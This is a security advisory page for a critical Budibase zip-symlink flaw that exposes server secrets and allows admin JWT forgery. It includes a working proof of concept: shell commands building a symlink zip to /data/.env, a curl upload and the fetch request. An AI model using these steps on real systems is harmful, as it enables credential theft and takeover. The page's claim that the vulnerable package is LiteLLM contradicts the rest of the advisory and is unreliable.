CVE-2026-54352: Budibase: zip symlink bypass exposes all server secrets

GHSA-w7mq-r738-x278 CRITICAL
Published June 22, 2026
CISO Take

Budibase's PWA zip upload endpoint fails to detect symlink entries during extraction, allowing any workspace-level builder to read arbitrary files the server process can access — including /data/.env, which in the default Docker deployment contains JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, REDIS_PASSWORD, COUCHDB_PASSWORD, and LITELLM_MASTER_KEY in cleartext. This is a CVSS 9.6 with a one-curl-command PoC and scope change: stolen JWT_SECRET enables HS256 token forgery for any user ID, including global admin, escalating a low-privilege contractor account into full platform takeover. The vulnerability is particularly damaging in AI/ML environments where Budibase fronts LiteLLM or similar inference proxies — every AI service credential colocated in that .env is exfiltrated in a single request. Organizations running self-hosted Budibase ≤3.39.0 should upgrade to 3.39.9 immediately, rotate all secrets without waiting for patch deployment, and audit POST /api/pwa/process-zip logs for exploitation attempts.

Sources: GitHub Advisory (GHSA-w7mq-r738-x278) NVD OpenSSF ATLAS

What is the risk?

CRITICAL. Network-exploitable, low complexity, requires only builder-level account (obtainable via phishing or legitimate contractor access), no user interaction, and scope changes to platform-wide admin via JWT forgery. The default Docker image runs the Node server as root, expanding the arbitrary-read primitive to every root-readable path — /etc/shadow, /etc/passwd, application secrets. No KEV listing yet, but the PoC is public, exploitation is trivial (single bash script), and the reward is complete credential exfiltration plus admin escalation, making weaponization highly likely. Package risk score 79/100 and 33 prior CVEs in the same package indicate a historically vulnerable component.

How does the attack unfold?

Initial Access
Attacker with builder-level Budibase account uploads a crafted zip containing a symlink (evil.png → /data/.env) and an icons.json referencing it via POST /api/pwa/process-zip.
AML.T0049
Path Validation Bypass
extract-zip@2.0.1 restores the symlink verbatim; the icon validator passes because the symlink file resides inside baseDir and fs.existsSync follows the link to confirm the target exists, never detecting the out-of-bounds target.
AML.T0106
Credential Exfiltration
fsp.open follows the symlink and streams /data/.env bytes into MinIO; attacker fetches GET /api/assets/{appId}/pwa/{uuid}.png to receive JWT_SECRET, LITELLM_MASTER_KEY, and all other credentials in plaintext.
AML.T0037
Privilege Escalation & Impact
Attacker forges HS256 JWT for the global admin user ID using stolen JWT_SECRET, gains full platform admin access, and can abuse LITELLM_MASTER_KEY to manipulate or query any LLM route behind the inference proxy.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
LiteLLM npm < 3.39.9 3.39.9
51.0K OpenSSF 6.1 6 dependents Pushed yesterday 38% patched ~38d to patch Full package profile →

Do you use LiteLLM? You're affected.

How severe is it?

CVSS 3.1
9.6 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Changed
C High
I High
A None

What should I do?

6 steps
  1. PATCH

    Upgrade @budibase/server to 3.39.9 immediately — this is the only complete fix.

  2. ROTATE SECRETS NOW (don't wait for patch): JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL credentials — all must be rotated as they should be treated as compromised on any instance running ≤3.39.0 with internet-accessible builder accounts.

  3. HARDEN CONTAINER

    Override Dockerfile USER to run as non-root to limit the read primitive scope; this doesn't fix the vulnerability but contains it.

  4. RESTRICT PERMISSIONS

    Audit all accounts holding the BUILDER permission; revoke from untrusted or external accounts until patched.

  5. DETECT

    Search access logs for POST /api/pwa/process-zip requests followed within seconds by GET /api/assets/{appId}/pwa/*.png from the same session — that two-step pattern is the exploit sequence. Also alert on JWT tokens signed after any suspicious zip upload (compare creation time vs token iat).

  6. BLOCK

    If patching is delayed, apply a WAF rule blocking multipart uploads with symlink entries (Content-Disposition containing zero-byte files with L flag in zip headers) to /api/pwa/process-zip.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.2.6 - Protection of AI system assets
NIST AI RMF
GOVERN 6.1 - Organizational security policies for AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-54352?

Budibase's PWA zip upload endpoint fails to detect symlink entries during extraction, allowing any workspace-level builder to read arbitrary files the server process can access — including /data/.env, which in the default Docker deployment contains JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, REDIS_PASSWORD, COUCHDB_PASSWORD, and LITELLM_MASTER_KEY in cleartext. This is a CVSS 9.6 with a one-curl-command PoC and scope change: stolen JWT_SECRET enables HS256 token forgery for any user ID, including global admin, escalating a low-privilege contractor account into full platform takeover. The vulnerability is particularly damaging in AI/ML environments where Budibase fronts LiteLLM or similar inference proxies — every AI service credential colocated in that .env is exfiltrated in a single request. Organizations running self-hosted Budibase ≤3.39.0 should upgrade to 3.39.9 immediately, rotate all secrets without waiting for patch deployment, and audit POST /api/pwa/process-zip logs for exploitation attempts.

Is CVE-2026-54352 actively exploited?

No confirmed active exploitation of CVE-2026-54352 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54352?

1. PATCH: Upgrade @budibase/server to 3.39.9 immediately — this is the only complete fix. 2. ROTATE SECRETS NOW (don't wait for patch): JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL credentials — all must be rotated as they should be treated as compromised on any instance running ≤3.39.0 with internet-accessible builder accounts. 3. HARDEN CONTAINER: Override Dockerfile USER to run as non-root to limit the read primitive scope; this doesn't fix the vulnerability but contains it. 4. RESTRICT PERMISSIONS: Audit all accounts holding the BUILDER permission; revoke from untrusted or external accounts until patched. 5. DETECT: Search access logs for POST /api/pwa/process-zip requests followed within seconds by GET /api/assets/{appId}/pwa/*.png from the same session — that two-step pattern is the exploit sequence. Also alert on JWT tokens signed after any suspicious zip upload (compare creation time vs token iat). 6. BLOCK: If patching is delayed, apply a WAF rule blocking multipart uploads with symlink entries (Content-Disposition containing zero-byte files with L flag in zip headers) to /api/pwa/process-zip.

What systems are affected by CVE-2026-54352?

This vulnerability affects the following AI/ML architecture patterns: LiteLLM proxy deployments, Low-code AI application builders, Self-hosted AI workflow orchestration, Multi-tenant AI service platforms, AI agent frameworks using Budibase as frontend.

What is the CVSS score for CVE-2026-54352?

CVE-2026-54352 has a CVSS v3.1 base score of 9.6 (CRITICAL).

What is the AI security impact?

Affected AI Architectures

LiteLLM proxy deploymentsLow-code AI application buildersSelf-hosted AI workflow orchestrationMulti-tenant AI service platformsAI agent frameworks using Budibase as frontend

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0083 Credentials from AI Agent Configuration
AML.T0091.000 Application Access Token
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2.6
NIST AI RMF: GOVERN 6.1
OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

## Summary `POST /api/pwa/process-zip` at `packages/server/src/api/routes/static.ts:24` accepts a builder-uploaded `.zip`, extracts it with `extract-zip@2.0.1` into a temp directory, then for each entry listed in `icons.json` validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via `GET /api/assets/{appId}/pwa/{uuid}.png`. `extract-zip@2.0.1` preserves absolute symlink targets when restoring symlink entries. The icon-source validator at `packages/server/src/api/controllers/static/index.ts:259-268` resolves the icon source string against `baseDir` (`path.resolve`), checks `resolvedSrc.startsWith(baseDir + path.sep)` against that string, and calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at `baseDir/evil.png` but pointing at `/data/.env` passes the gate. `packages/backend-core/src/objectStore/objectStore.ts:302` then calls `(await fsp.open(path)).createReadStream()` on the resolved path. `fsp.open` follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim. Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including `/data/.env` with `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_*`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `DATABASE_URL`) by uploading one crafted PWA zip. ## Affected `Budibase/budibase` server, `@budibase/server` package, `<= 3.39.0` (HEAD `feab995`, released 2026-05-20). Reachable in stock self-hosted deployments. The default `budibase/budibase:latest` Docker image runs the Node server as `root` inside the container; the server process opens `/etc/passwd`, `/etc/shadow`, `/data/.env`, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app. Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material. ## Root cause `packages/server/src/api/routes/static.ts:24`: `.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)` exposes the endpoint to any workspace builder; the only permission required is `BUILDER`. `packages/server/src/api/controllers/static/index.ts:235`: `await extract(filePath, { dir: tempDir })` calls `extract-zip@2.0.1`, which preserves absolute symlink targets when restoring symlink entries. `packages/server/src/api/controllers/static/index.ts:259-268`: the icon validator (`path.resolve` + `resolvedSrc.startsWith(baseDir + path.sep)` + `fs.existsSync`) operates on the resolved string path and on `fs.existsSync` (which follows symbolic links). A symlink stored under `baseDir` whose target points anywhere reachable by the server passes the gate as long as the target exists. `packages/backend-core/src/objectStore/objectStore.ts:302`: `(await fsp.open(path)).createReadStream()` follows the symlink and streams the target file's bytes; the object lands in MinIO under `{appId}/pwa/{uuid}{extension}` and is served by `GET /api/assets/{appId}/pwa/{uuid}.{ext}` (`packages/server/src/api/routes/static.ts:21`). `hosting/single/Dockerfile`: the production single-container image runs the Node server as `root`, so the read primitive reaches `/etc/shadow`, `/data/.env`, and every other root-readable path. ## Reproduction `budibase/budibase:latest` (`v3.39.0`) Docker single-container on `localhost:10000`, default config, with any workspace builder logged in. Cookie jar and `<CSRF>` token come from `GET /api/global/self`. 1. Builder uploads a zip containing one symlink entry that targets `/data/.env`, plus an `icons.json` that references the symlink. ```bash mkdir attack && cd attack ln -s /data/.env evil.png printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json zip -y attack.zip icons.json evil.png curl -s "http://localhost:10000/api/pwa/process-zip" \ -b cookies.txt \ -H "x-budibase-app-id: <appId>" \ -H "x-csrf-token: <CSRF>" \ -F "file=@attack.zip" ``` ```json {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]} ``` 2. Builder fetches the resulting "icon". ```http GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG> ``` ``` COUCHDB_USER=admin COUCHDB_PASSWORD=admin MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778 INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c JWT_SECRET=c5441dc903f845bdb93a98b949a612b2 REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm ``` Live-verified: the response body of the asset-fetch endpoint is byte-identical to `docker exec budibase cat /data/.env`; `/etc/passwd` and `/etc/shadow` extract via the same primitive when their permissions allow root reads. ## Impact - Disclosure of `/data/.env`: `JWT_SECRET`, `INTERNAL_API_KEY`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`, `REDIS_PASSWORD`, `COUCHDB_PASSWORD`, `LITELLM_MASTER_KEY`, `DATABASE_URL`. - HS256 JWT forge with the leaked `JWT_SECRET` against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin. - Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds. - Disclosure of `/etc/passwd` and `/etc/shadow` via the same primitive when the container runs as `root` (the shipped default). ## Credit Jan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de).

Exploitation Scenario

A threat actor with builder access to any Budibase workspace — obtained through credential stuffing, phishing a legitimate contractor, or signing up via a weak self-registration flow — crafts a zip archive containing a single symbolic link (evil.png → /data/.env) alongside an icons.json referencing it. Uploading via POST /api/pwa/process-zip causes extract-zip@2.0.1 to restore the symlink verbatim; the path validator passes because the symlink file itself lives inside baseDir and fs.existsSync follows the link confirming the target exists. The server then opens the symlink target via fsp.open (which follows symlinks), streams the raw .env bytes into MinIO, and returns a public asset UUID. The attacker fetches GET /api/assets/{appId}/pwa/{uuid}.png and receives the cleartext .env. With JWT_SECRET in hand, they forge an HS256 JWT for the global admin user ID (discoverable from the Clerk webhook logs or /api/global/users), authenticate as platform administrator, and enumerate all workspaces, users, and AI service integrations — including any LiteLLM routes whose master key was just exfiltrated.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Timeline

Published
June 22, 2026
Last Modified
June 22, 2026
First Seen
June 23, 2026

Related Vulnerabilities